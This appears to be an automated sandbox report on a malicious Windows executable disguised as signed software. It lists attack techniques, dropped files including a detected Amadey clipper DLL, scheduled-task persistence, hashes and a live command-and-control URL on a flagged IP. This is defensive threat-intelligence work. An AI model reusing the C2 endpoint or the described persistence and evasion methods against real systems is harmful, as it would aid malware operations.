Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 DLL Side-Loading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	134 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
pTvHtQDXio.exe	50%	ReversingLabs	Win32.Worm.AutoRun

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nlhiojbr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\nlhiojbr	50%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://62.60.226.15/8fj482jd9/index.php	0%	Avira URL Cloud	safe
http://62.60.226.15/8fj482jd9/index.php5	0%	Avira URL Cloud	safe
https://vovsoft.com/php/ocr_download.php?lang=	0%	Avira URL Cloud	safe
http://62.60.226.15/8fj482jd9/index.php3	0%	Avira URL Cloud	safe
http://62.60.226.15/8fj482jd9/index.php?B	0%	Avira URL Cloud	safe
http://www.color.org	0%	Avira URL Cloud	safe
http://62.60.226.15/	0%	Avira URL Cloud	safe
http://62.60.226.15/8fj482jd9/index.php1	0%	Avira URL Cloud	safe
https://vovsoft.com/translation/openU	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://62.60.226.15/8fj482jd9/index.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://vovsoft.com/blog/how-to-activate-using-license-key/openU	pTvHtQDXio.exe	false		high
http://62.60.226.15/	explorer.exe, 0000000A.00000002.3893734835.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vmware.com/0	pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	false		high
http://vovsoft.com	pTvHtQDXio.exe	false		high
http://www.aiim.org/pdfa/ns/id/	pTvHtQDXio.exe	false		high
https://vovsoft.com/translation/	pTvHtQDXio.exe	false		high
https://vovsoft.com/php/ocr_download.php?lang=	pTvHtQDXio.exe	false	Avira URL Cloud: safe	unknown
http://www.vmware.com/0/	pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	false		high
http://vovsoft.com/help/	pTvHtQDXio.exe	false		high
http://vovsoft.comopenU	pTvHtQDXio.exe	false		high
http://www.indyproject.org/	pTvHtQDXio.exe	false		high
http://vovsoft.comopenS	pTvHtQDXio.exe	false		high
http://62.60.226.15/8fj482jd9/index.php?B	explorer.exe, 0000000A.00000002.3893734835.0000000003347000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.color.org	pTvHtQDXio.exe	false	Avira URL Cloud: safe	unknown
https://vovsoft.com/blog/credits-and-acknowledgements/open	pTvHtQDXio.exe	false		high
http://62.60.226.15/8fj482jd9/index.php3	explorer.exe, 0000000A.00000002.3893734835.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vovsoft.com/	pTvHtQDXio.exe	false		high
http://62.60.226.15/8fj482jd9/index.php5	explorer.exe, 0000000A.00000002.3893734835.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004E23000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.000000000511C000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.0000000005304000.00000004.00000800.00020000.00000000.sdmp	false		high
http://62.60.226.15/8fj482jd9/index.php1	explorer.exe, 0000000A.00000002.3893734835.000000000338C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://vovsoft.com/blog/how-to-uninstall-vovsoft-software/openU	pTvHtQDXio.exe	false		high
https://vovsoft.com/translation/openU	pTvHtQDXio.exe	false	Avira URL Cloud: safe	unknown
http://www.info-zip.org/	pTvHtQDXio.exe, 00000000.00000002.1462371507.0000000004DA1000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1576492961.00000000050D4000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000A.00000002.3894917972.00000000052BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/search?q=openSV	pTvHtQDXio.exe	false		high
http://vovsoft.com/openU	pTvHtQDXio.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.60.226.15	unknown	Iran (ISLAMIC Republic Of)		18013	ASLINE-AS-APASLINELIMITEDHK	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576147
Start date and time:	2024-12-16 15:25:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	pTvHtQDXio.exe renamed because original name is a hash value
Original Sample Name:	7c23cca92ddabc20911e0c51e19b002b.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/7@0/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 27 Number of non-executed functions: 93
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21, 4.175.87.197, 40.126.53.8
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target comet.exe, PID 7580 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: pTvHtQDXio.exe

Simulations

Behavior and APIs

Time	Type	Description
09:26:27	API Interceptor	1x Sleep call for process: pTvHtQDXio.exe modified
09:26:41	API Interceptor	10117975x Sleep call for process: explorer.exe modified
09:27:04	API Interceptor	1x Sleep call for process: WerFault.exe modified
15:26:36	Task Scheduler	Run new task: comet path: C:\Users\user\AppData\Roaming\ancar\comet.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASLINE-AS-APASLINELIMITEDHK	IGz.arm7.elf	Get hash	malicious	Mirai	Browse	213.176.118.46
	sh4.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.177.25.107
	i586.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.177.25.107
	x86.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.177.25.107
	x32.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.177.25.107
	arm5.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.177.25.107
	mips.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.177.25.107
	arm7.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.177.25.107
	m68k.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.177.25.107
	ppc.xxx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.177.25.107

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_comet.exe_e7bbc681222a1d73b6cf42d9a745c217a33551_d4022333_2404a44f-3851-48bd-874d-daae9a69eea3\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8769037135332906
Encrypted:	false
SSDEEP:	96:gMuFQIFdSmsF4LXKWfxhQXIDcQtc6JXcENcw3nO+HbHgA5JHQbaVDPCEUjUg9Ot9:03FdSmu0Tt3z/jDRMzuiFYZ24IO8LC
MD5:	F6EB156CE4A6ACD7723A01E29324B549
SHA1:	EE4D7EC5E6558465F2DB9D976AD63718933B2C58
SHA-256:	7226872CFA948535BC4D47CF9B1FCB9C96C30CC40ABA80AEC9C5DD50275A7DDF
SHA-512:	9CDFF4BE82F851D39A24B78E312FA0616EC0030AFB1DFD9C059A1B5E957555112ACC80D2A2643769BE95F12058F9702C411E45A8BF299AC346007CEE0B80CEEA
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.8.3.2.7.9.7.6.0.4.2.6.6.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.8.3.2.7.9.8.6.0.4.2.6.7.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.0.4.a.4.4.f.-.3.8.5.1.-.4.8.b.d.-.8.7.4.d.-.d.a.a.e.9.a.6.9.e.e.a.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.1.a.0.6.8.f.c.-.5.c.b.c.-.4.e.3.9.-.a.4.a.5.-.8.b.e.3.3.1.3.5.d.4.1.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.c.o.m.e.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.C.i.t.i.z.e.n.M.P...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.9.c.-.0.0.0.1.-.0.0.1.3.-.3.5.0.7.-.a.6.8.3.c.6.4.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.3.9.e.a.4.9.c.a.e.e.b.a.0.d.d.c.d.e.b.a.1.1.d.b.5.3.9.9.3.7.c.0.0.0.0.0.9.0.4.!.0.0.0.0.f.0.e.0.7.a.6.8.c.a.3.6.6.8.1.e.c.e.4.2.c.2.3.d.7.5.3.5.1.d.5.1.a.9.b.5.2.a.8.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER200D.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Dec 16 14:26:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	50084
Entropy (8bit):	2.008009381966637
Encrypted:	false
SSDEEP:	192:UEk+aXfhkPV+O5dIPxxrAQYITCE0zOwQ0nuzPPtwGIGotsK8MM:zCkHDIPbrAQnMOwnQt9Zo7k
MD5:	D361C816E90B42E3500363DF1D8E7E59
SHA1:	ACA31A636E4095E0105D464E1ED0A36668A09F93
SHA-256:	5C973F252227364BA0860AF174267C94A6083F86F5CFE13AB28598EC7A89D5EB
SHA-512:	80D61029247D7A10FA834A1838ECA3AEF84137B54F7282757D853826FF58281B2FEC005ED795EF83D76BAC0638C4D93CFCCA4C888F5DFB15D6E1E58FF727B28C
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........8`g....................................$................,..........`.......8...........T......................................................................................................................eJ..............GenuineIntel............T............8`g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2260.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6272
Entropy (8bit):	3.7185840178403047
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbr565bKYN0VOLhT+lr75aM4U+89bPo5sfja9em:R6l7wVeJr564YCkhCbpr+89bg5sfuAm
MD5:	47DDFCC7D7474ED053C494644CDD9738
SHA1:	084861DE9C7A73DA9299221EA819C641F1B1B78B
SHA-256:	75075D25851F71896C0EBE3096B4EFDB1A7BDDB9DE332E1CCE689E134AA44DDF
SHA-512:	40185F6DDE6234DB538E8C1E20D68FB6BA34DFE61D58CC040F5BB4620E86997FF2FAF0F45EAF27E3D9A02A58DD9286E18CF893995636A61FFBA458A7662BC942
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER22AF.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4625
Entropy (8bit):	4.446841609991673
Encrypted:	false
SSDEEP:	48:cvIwWl8zscJg77aI9o7WpW8VYInYm8M4JngFUE+q80Fjw4eJd:uIjfaI7WK7V0J1ETjw4eJd
MD5:	EC7799EE4872D1DC6D9A973D7617824D
SHA1:	8C4CD6F8659474F3112C45B5311BFED5AA5F0A21
SHA-256:	32A1AEF0C0108C841BAC913F54A23929023CAC441356912ECFD179DF2FEEE7A4
SHA-512:	401B19EB0CF1B9121FE0F590BBE55E6C1E4244CB0025CAE60EA95789D9BA568BDD384537E066DC8E244062FFCBEFE9703E27694E13CCC6509D95EF9B2765E682
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="633929" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\7964f6ae

Process:	C:\Users\user\Desktop\pTvHtQDXio.exe
File Type:	PNG image data, 2688 x 523, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1167079
Entropy (8bit):	7.995473296971856
Encrypted:	true
SSDEEP:	24576:/s+ZOY+hto8bOn9Vb7RQnI/Itr0Qf/ZUMPZb6g5OH9xJ9WFi6M:Z+htxbOn9Vb7RQnd0G/Zb569xJJH
MD5:	D2AC740E7F02D1857D23CC613D2A3015
SHA1:	333427371D9FF322E761D306A42AB0D6A863E6F9
SHA-256:	B820EC17CFC9EEC57CABAA1B6E79173A5E6EF6BC0FDF0B456EC943E02BCA4D5F
SHA-512:	8A91B783255E60BF95F7653F2E5ECB693A009BABB580E37130721D845DDFC73ECE82A669E9EBF01FAEC7A10598C3603ECE8D82F130BC567F8747A7A72BB29933
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............M.[.. .IDATx..wX.Y...L&.T.F@W.,......W...b. (..."...{..b...J...+*....T..b[......I.S.AT...y.y(..w..;....$.N6`.....`......o...-.A..8....&.s.J.s...BQ.~....?.o.j..K...t:.X,......E....... .\|....X,..oAQ.8:.1....8.h4.K..h4......K.F.0...V.)/..jMG7^..q......k...DX....at6..'.V.M.;..BY(.R..`l....p-at6. ..R...P..Z....pt\W....Z[.-...$...1b../&.`d.(a.)o.....q.'....#....0...3.O@.. ...[X,..S.F..@>.p.bt=.k..#.8.S......?4%..8.k...3.J4!..hE......\|B.1b.#.K...s..=.A..1......_....0 S>. p..x)......s.O...Q.q......P.A.b1..H.(j...l./..KI..K..l8...l.\|.j5!.7..j........jt...,.........l.p.N..._F.....<H`..F$1..F..1..s0.C.4..s.L.NH.2..t........t........./E..@.a..... ....u....."(.pB\@....9........... .3...)..G....at..b.@>.........U.l!.bh..p...?#...}Q}...j.........?. .x..@.._b..-.R..6......d.........\|.....8N...C.NKA...7......C.."....\..!.P@>........1( ........U.s..1.@p..t.....)..d......\.F..1....?..U..l..j...Y(..&.<..........K.\|...1.....Q...0..

C:\Users\user\AppData\Local\Temp\79c8f363

Process:	C:\Users\user\Desktop\pTvHtQDXio.exe
File Type:	data
Category:	dropped
Size (bytes):	1174134
Entropy (8bit):	7.600376035602856
Encrypted:	false
SSDEEP:	24576:fQZT3SlEwCflcLITJDIQmfOl59RgXpDx0BRKGrE:fQZT3SlEwCWIIfCNqpDxsRrE
MD5:	21954399F545BFDD16767A1C22F37DA3
SHA1:	516E5F1C659326F3F11B672CD12BF56BF88E2768
SHA-256:	987B8430FF016AF3AF88E6AA88796F478B2F1AD5B3B9ADE8A023DA8F2B27A6C8
SHA-512:	A13881297C64264AA14EC4FEACE01B2DF5A1507C889B9E2CBAB60CC36C5ED18D769CC839F90FE02C7A838B42885B4A48F99728BF10D88160C2D6B8361FE0CABC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nlhiojbr

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	442880
Entropy (8bit):	6.4982216030674
Encrypted:	false
SSDEEP:	12288:Hj98bKozHw6UGa0WPp7XlcoMGXidheK7t5kMT:mHwBhBbMUi2IkU
MD5:	CDD48A5FDFA37AC1971CCD04D513FCCE
SHA1:	4FB51E67F61373E2854B26D9DBA339C51D93D375
SHA-256:	BCDE8C2C0B3927A17000D4D8094270909726580526B6D719143BA61B09A05950
SHA-512:	5B4E8A01A52CDE7A711E79A3D04144AF839F8C5B2E3662025BEBFA55E94C91A974D0493A2F0DC52A7D31ABE2043DC301407B9245DED8F53E5297C7942026BD61
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Temp\nlhiojbr, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L....TT..........................................@..........................@............@.................................@E...................................E......8...............................@...............<............................text............................... ..`.rdata..PH.......J..................@..@.data....m...`...,...B..............@....rsrc................n..............@..@.reloc...E.......F...p..............@..Bhcj..........0......................@...................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.510572735424233
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	pTvHtQDXio.exe
File size:	14'014'536 bytes
MD5:	7c23cca92ddabc20911e0c51e19b002b
SHA1:	f0e07a68ca36681ece42c23d75351d51a9b52a8c
SHA256:	471f22db8436b846bcc1b8d9691adb74d02cee7b49e4a58772f486ece4ca19db
SHA512:	981afbb497ffde188e5134c181f85870ee1da5b9eb4dfda17e33f1b469a5bf76051071c1f37507c3a9bf1c2abe5c15379f1d2bb457d0953242aaba201fe5c3e1
SSDEEP:	196608:cbQLsmUzjxbODbedh49KRAg+89tvjXV9nHTDN0JgCDt0IEM:cbAUsWdlRT+wtrXzzwgCh0Ir
TLSH:	66E6E113B385613EE46F1E3A487BE624A93F7E217A12CD2B27F4198C4F35640693A747
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	de9edcdcdc9a9ed8

Static PE Info

General

Entrypoint:	0x95a61c
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6723E648 [Thu Oct 31 20:19:20 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	b6e2dc6fda6a433b890df57ef17fcdad

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	01/09/2023 02:00:00 01/09/2026 01:59:59
Subject Chain	CN="Rockstar Games, Inc.", O="Rockstar Games, Inc.", L=New York, S=New York, C=US
Version:	3
Thumbprint MD5:	ACBF3E7CFB55E946C76DE628B6B4D1C8
Thumbprint SHA-1:	774CABFBE0A120481E7EC5A9150326129244DE13
Thumbprint SHA-256:	AFF85DE7E9C800198A38B63C5FC4EE09D6ED75A6587E5DE0882A9732B364577C
Serial:	043922E28E11D45F73AC1936CE97FC36

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 009499A0h
call 00007F99206439DDh
push 0095A690h
push 00000000h
push 00000000h
call 00007F992064C4C3h
mov eax, dword ptr [00984788h]
mov eax, dword ptr [eax]
call 00007F992089813Bh
mov eax, dword ptr [00984788h]
mov eax, dword ptr [eax]
mov dl, 01h
call 00007F9920899EA1h
mov eax, dword ptr [00984788h]
mov eax, dword ptr [eax]
mov edx, 0095A6C4h
call 00007F9920897B50h
mov ecx, dword ptr [00983B98h]
mov eax, dword ptr [00984788h]
mov eax, dword ptr [eax]
mov edx, dword ptr [0093DB34h]
call 00007F992089811Ch
mov eax, dword ptr [00984788h]
mov eax, dword ptr [eax]
call 00007F992089826Ch
call 00007F992063BF6Bh
add byte ptr [eax], al
push esi
add byte ptr [edi+00h], cl
push esi
add byte ptr [ebx+00h], dl
dec edi
add byte ptr [esi+00h], al
push esp
add byte ptr [edi+00h], bl
dec edi
add byte ptr [ebx+00h], al
push edx
add byte ptr [edi+00h], bl
push edx
add byte ptr [ebp+00h], ah
popad
add byte ptr [eax+eax+65h], ah
add byte ptr [edx+00h], dh
add byte ptr [eax], al
add byte ptr [eax], al
mov al, 04h
add al, byte ptr [eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x5b5000	0x9b	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5b0000	0x3fb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x62c000	0x1fa217	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xd5b020	0x2828
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5b8000	0x7357c
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5b7000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5b0b40	0x9c4	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x5b4000	0xe0c	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x555f3c	0x556000	64c70b9009ec5cce0ad5a1b5d77ac3d7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x557000	0x36dc	0x3800	47fbf449b2b2bff640e8ef0433a89a77	False	0.5050223214285714	data	6.19341605851024	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x55b000	0x2a124	0x2a200	dc06c5340a642caa892f8777f0fed231	False	0.3076374721810089	data	6.093230118790674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
